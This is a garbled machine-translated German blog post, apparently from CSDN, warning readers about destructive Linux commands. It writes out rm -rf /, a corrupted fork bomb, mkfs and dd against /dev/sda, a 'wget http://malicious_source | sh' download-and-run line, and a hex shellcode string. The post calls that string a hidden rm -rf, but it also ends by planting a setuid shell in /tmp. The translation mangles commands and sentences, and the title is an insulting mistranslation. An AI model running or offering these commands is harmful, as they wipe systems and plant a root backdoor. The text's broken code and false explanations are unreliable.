Befehle, die von Behinderten nicht eingegeben werden sollten

Linux- Befehle machen Spaß und sind nützlich, aber gefährlich, wenn Sie nicht wissen, was die Konsequenzen sind. Überprüfen Sie daher vor der Eingabe bestimmter Befehle und drücken Sie die Eingabetaste.

rm –rf

rm –rf ist der schnellste Weg, um einen Ordner und seinen angehängten Inhalt zu löschen, aber geringfügige Fehler oder schlechte Grammatikkenntnisse können zu nicht behebbaren Schäden am System führen. Einige Fälle sind unten aufgeführt:

rm löscht Dateien unter Linux

rm -r Ordner rekursiv löschen, einschließlich leerer Ordner

rm -f erzwingt das bedingungslose Löschen von schreibgeschützten Dateien

rm -rf / : Alle Inhalte im Stammverzeichnis bedingungslos löschen.

rm -rf * : Alle Inhalte im aktuellen Verzeichnis bedingungslos löschen.

rm -rf . : Erzwingt das bedingungslose Löschen des aktuellen Ordners und der Unterordner

Seien Sie zusammenfassend vorsichtig, wenn Sie den Befehl rm –rf ausführen, Sie können .bashrc hinzufügen:

aliasrm= 'rm -i'

Auf diese Weise werden Sie beim nächsten Löschen genau daran erinnert, was gelöscht werden soll.

){:|:&};:

Dieser Befehl ist eigentlich eine Gabelbombe, er definiert eine Funktion namens ":" und ruft sich selbst zweimal auf, einmal im Vordergrund und einmal im Hintergrund. Der Punkt ist, dass ein solcher Aufruf endlos wiederholt wird, bis das System abstürzt.

Klassenkameraden mit billigen Händen können es in einer virtuellen Maschine versuchen:

){ :|:&}; : beliebiger Befehl > /dev/sda

Dieses Beispiel soll sagen, dass wir beliebige Befehle ausführen und nach /dev/sda ausgeben. In diesem Fall werden alle Dateien in /dev/sda durch die Ausgabe des Befehls ersetzt und die Originaldaten gehen am Ende verloren.

Ordner angegeben durch mv /dev/null

Dieser mv-Befehl verschiebt den angegebenen Ordner nach /dev/null. Unter Linux ist /dev/null oder null eine spezielle Datei, sie verwerfen alle Daten, die in sich selbst geschrieben wurden, und geben dann eine Erfolgsmeldung zurück.

# mv /home/user/* /dev/null

Der obige Befehl verschiebt den gesamten Inhalt unter /home/user/ nach /dev/null, was ein Fass ohne Boden ist.

wget http://malicious_source -O- | Sch

Dieser Befehl kann die bösartige Quelldatei direkt herunterladen und dann sh verwenden, um das Skript direkt auszuführen .

mkfs.ext3 /dev/sda

Das obige Beispiel formatiert /dev/sda, nachdem Sie den obigen Befehl ausgeführt haben, wird Ihre Festplatte als neu markiert. Zu diesem Zeitpunkt kann das System die Daten natürlich nicht mehr wiederherstellen.

> beliebige Datei

Dieser Befehl kann verwendet werden, um den Inhalt der Originaldatei zu löschen. Wenn Sie versehentlich einen Tippfehler machen, geben Sie einen Befehl wie den folgenden ein:

> xt.conf

Der Inhalt Ihrer Systemkonfigurationsdatei kann dadurch bereinigt werden.

^foo^bar

Auf diese Weise wird das ^-Symbol verwendet, um den zuvor ausgeführten Befehl direkt zu bearbeiten, indem er aufgedreht und den Befehl beendet wird. Während Sie sich vielleicht ersparen, den gesamten langen Befehl einzugeben, kann es gefährlich sein.

dd if=/dev/random of=/dev/sda

Der Befehl dd löscht den Inhalt unter /dev/sda, schreibt dann zufällige Mülldaten und schließlich wird Ihr System irreversibel beschädigt.

versteckter Befehl

Der folgende Befehl entspricht rm -rf, das im Hexadezimalformat versteckt wird. Wenn Sie es ausführen, ohne es zu wissen, können Sie das gesamte Stammverzeichnis direkt löschen:

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

Diese Geschichte sagt uns, dass es für uns oft schwierig sein kann, eine tödliche Bedrohung zu finden, wenn sie verborgen ist.

Supongo que te gusta

Origin blog.csdn.net/u014389734/article/details/130516934
Recomendado
Clasificación